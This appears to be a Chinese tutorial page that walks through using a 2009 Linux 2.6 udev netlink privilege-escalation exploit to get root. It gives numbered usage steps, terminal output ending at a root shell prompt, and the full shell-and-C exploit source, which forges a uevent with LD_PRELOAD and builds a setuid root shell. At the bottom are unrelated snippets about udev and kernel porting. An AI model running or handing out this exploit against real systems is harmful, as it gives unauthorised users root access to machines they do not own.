1)创建用户:假设系统上已经建立了一个名为"ttalang",密码为"ttalang"的普通用户,并用该账户登录;(注意:ttalang的用户目录为/home/ttalang)
[ttalang@vmhost ~]$ pwd
/home/ttalang
2)复制代码:如下:完整复制该页面的代码,在本地ttalang目录下保存为名为"a"的文件;(注意:此时a的状态为/home/ttalang/a,a保存着 提权用的代码。名字叫什么是随意的,可以是b,c...)
[ttalang@vmhost ~]$ ls
a
3)修改代码:修改a中的内容,将/tmp全部替换为/home/ttalang(原因是/tmp目录对普通用户很多时候是没有写权限的);将倒数第4行"cp libno_ex.so.1.0 /home/ttalang bno_ex.so.1.0"注释掉(原因是这一行是多余的)。
4)查找udev的PID:查找/sbin/udevd的PID,即执行:"ps aux |grep /sbin/udev"
[ttalang@vmhost ~]$ ps aux |grep /sbin/udev
root 392 0.1 0.3 2916 1400 ? S<s 15:33 0:00 /sbin/udevd -d
ttalang 3266 0.0 0.1 4604 700 pts/1 R+ 15:38 0:00 grep /sbin/udev
5)提权:执行命令chmod u+x a && sh a 391 (注意:这里的391是udev的PID减去1得来的):
[ttalang@vmhost ~]$ sh a 391
suid.c: 在函数 ‘main’ 中:
suid.c:3: 警告:隐式声明与内建函数 ‘execl’ 不兼容
sh-3.1#
提权代码:
*****************************************************************************************
#!/bin/sh
# Linux 2.6
# bug found by Sebastian Krahmer
#
# lame sploit using LD technique
# by kcope in 2009
# tested on debian-etch,ubuntu,gentoo
# do a 'cat /proc/net/netlink'
# and set the first arg to this
# script to the pid of the netlink socket
# (the pid is udevd_pid - 1 most of the time)
# + sploit has to be UNIX formatted text :)
# + if it doesn't work the 1st time try more often
#
# WARNING: maybe needs some FIXUP to work flawlessly
## greetz fly out to alex,andi,adize,wY!,revo,j! and the gang
cat > udev.c << _EOF
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <dirent.h>
#include <sys/stat.h>
#include <sysexits.h>
#include <wait.h>
#include <signal.h>
#include <sys/socket.h>
#include <linux/types.h>
#include <linux/netlink.h>
#ifndef NETLINK_KOBJECT_UEVENT
#define NETLINK_KOBJECT_UEVENT 15
#endif
#define SHORT_STRING 64
#define MEDIUM_STRING 128
#define BIG_STRING 256
#define LONG_STRING 1024
#define EXTRALONG_STRING 4096
#define TRUE 1
#define FALSE 0
int socket_fd;
struct sockaddr_nl address;
struct msghdr msg;
struct iovec iovector;
int sz = 64*1024;
main(int argc, char **argv) {
char sysfspath[SHORT_STRING];
char subsystem[SHORT_STRING];
char event[SHORT_STRING];
char major[SHORT_STRING];
char minor[SHORT_STRING];
sprintf(event, "add");
sprintf(subsystem, "block");
sprintf(sysfspath, "/dev/foo");
sprintf(major, "8");
sprintf(minor, "1");
memset(&address, 0, sizeof(address));
address.nl_family = AF_NETLINK;
address.nl_pid = atoi(argv[1]);
address.nl_groups = 0;
msg.msg_name = (void*)&address;
msg.msg_namelen = sizeof(address);
msg.msg_iov = &iovector;
msg.msg_iovlen = 1;
socket_fd = socket(AF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
bind(socket_fd, (struct sockaddr *) &address, sizeof(address));
char message[LONG_STRING];
char *mp;
mp = message;
mp += sprintf(mp, "%s@%s", event, sysfspath) +1;
mp += sprintf(mp, "ACTION=%s", event) +1;
mp += sprintf(mp, "DEVPATH=%s", sysfspath) +1;
mp += sprintf(mp, "MAJOR=%s", major) +1;
mp += sprintf(mp, "MINOR=%s", minor) +1;
mp += sprintf(mp, "SUBSYSTEM=%s", subsystem) +1;
mp += sprintf(mp, "LD_PRELOAD=/tmp/libno_ex.so.1.0") +1;
iovector.iov_base = (void*)message;
iovector.iov_len = (int)(mp-message);
char *buf;
int buflen;
buf = (char *) &msg;
buflen = (int)(mp-message);
sendmsg(socket_fd, &msg, 0);
close(socket_fd);
sleep(10);
execl("/tmp/suid", "suid", (void*)0);
}
_EOF
gcc udev.c -o /tmp/udev
cat > program.c << _EOF
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init()
{
setgid(0);
setuid(0);
unsetenv("LD_PRELOAD");
execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,libno_ex.so.1 -o libno_ex.so.1.0 program.o -nostartfiles
cat > suid.c << _EOF
int main(void) {
setgid(0); setuid(0);
execl("/bin/sh","sh",0); }
_EOF
gcc -o /tmp/suid suid.c
cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0
/tmp/udev $1
# milw0rm.com [2009-04-20]
*******************************************************************************
分享到:
相关推荐
Linux Kernel 2.6 (Debian 4.0/Ubuntu/Gentoo) UDEV (1) | linux/local/8478.sh Linux Kernel 2.6.x/3.10.x/4.14.x (Red Hat/Debian/CentOS) (x64) - 'Mutagen Astronomy' Local Privilege Escalation | linux_x86...
在 Ubuntu 12.04 LTS 中,Udev 是 Linux kernel 2.6 的默认设备管理器,它的目标是接替 devfs 和 hotplug 的功能。Udev 规则易于在不同的发行版之间移植。Udev 的使用可以使得人们根据设备的不同属性区分设备,用...
udev是Linux 2.6内核引入的一个关键组件,它取代了早期的devfs,成为了现代Linux系统中设备管理的标准工具。udev的主要目标是为用户提供一种更稳定、更易于管理的设备命名方案,并且能够动态响应系统中的设备变化。 ...
Slackware Linux 12(kernel 2.6.21.5/smp only), and SLED 10 SP1 (kernel 2.6.16.46-0.12-default/smp) run cp /opt/DigitalPersona/drivers/dp.udev.rules /etc/udev/rules.d 5. For NLD9, edit /etc/udev...
udev是Linux 2.6内核中的一个重要组件,它负责动态管理和维护系统的设备文件。相比于传统的设备管理方式,udev提供了一种更加灵活且强大的机制,能够根据设备的属性自动生成具有明确标识的设备文件,从而简化了用户...
1. 包含必要的头文件:使用 udev 和 sys 需要包含相应的头文件,例如 `<linux/module.h>`、`<linux/kernel.h>`、`<linux/init.h>`、`<linux/fs.h>`、`<linux/cdev.h>`、`<asm/uaccess.h>` 和 `<linux/device.h>`。...
本文档详细介绍了如何将旧版驱动程序从Linux 2.4内核移植到2.6内核,并尝试将其合并到上游/mainline内核中的过程。作者Mark Gross根据自身经验,提供了一个简单的示例,即从2.4到2.6内核的移植过程,以及最终如何...
在Linux 2.6内核之后,udev成为了主流的设备管理工具,尤其在现代的Linux发行版中。 sysfs是另一个关键组件,它是一个基于虚拟文件系统的接口,允许用户空间程序通过标准文件操作(如读写)来访问和控制内核对象,...
在Linux 2.6及以上内核版本中,udev(User-Mode Device Handler)系统被用来管理设备,包括自动检测和配置新插入的设备,如USB U盘。 udev是一个动态设备管理系统,它取代了早期的devfs和sysfs,负责为设备分配持久...
(3) `/linux-2.6.18.8/arch/arm/kernel`目录包含了与ARM架构相关的内核核心代码,如中断处理、进程调度、系统调用等。在移植过程中,需要根据目标平台的特性调整或添加这部分代码。 (4) `/linux-2.6.18.8/arch/arm/...
早期的Linux系统使用devfs来管理设备文件,但在Linux2.6内核中,devfs被标记为弃用特性,取而代之的是sysfs和udev。sysfs是一种新型的文件系统,用于描述系统的硬件树,支持动态设备管理和信息查询,特别适合热插拔...
Purpose: Linux 2.6.33.7 CONFIG_DEVTMPFS=y to support udev-20X. Notices: Run rm -Rf /lib/modules/2* and Reboot to take effect. Built by Wwashington@NewSmth. Replace the coLinux 0.7.9 files. Tips-...
目 录 第1章 引言 1 1.1 演进 1 1.2 gnu copyleft 2 1.3 kernel.org 2 1.4 邮件列表和论坛 3 1.5 linux发行版 3 1.6 查看源代码 4 1.7 编译内核 7 1.8 可加载的模块 8 1.9 整装待发 9 第2章 内核 11 2.1...
全志R16平台编译linux系统V1.0.txt 2017/4/11 13:36 (编译请使用编译android的lichee的选项编译生成的.config文件,不然直接编译会报错!!!!) rootroot@cm-System-Product-Name:/home/wwt/linux_r16$ tar...
rootroot@cm-System-Product-Name:/home/wwt/linux_r16$ tar zxvf lichee_parrotv1.1_20161202.tar.gz rootroot@cm-System-Product-Name:/home/wwt/linux_r16$ rootroot@cm-System-Product-Name:/home/wwt/linux_...
例如,这里提到的是`ftp://ftp.kernel.org/pub/linux/kernel/v2.6/linux-2.6.28.tar.bz2`。解压后,将其移动到合适的位置,如`/usr/src`目录下。 3. **配置网络**:确保您的开发环境能够访问互联网,以便后续步骤中...
在2.4和2.6内核中,对设备的管理方式有所不同,2.6内核倾向于按需创建设备节点,使用udev规则进行自动化管理。 当需要创建一个基于脚本的目标微型Linux系统时,首先要确保用户可以登录,并设定适当的运行级别,如...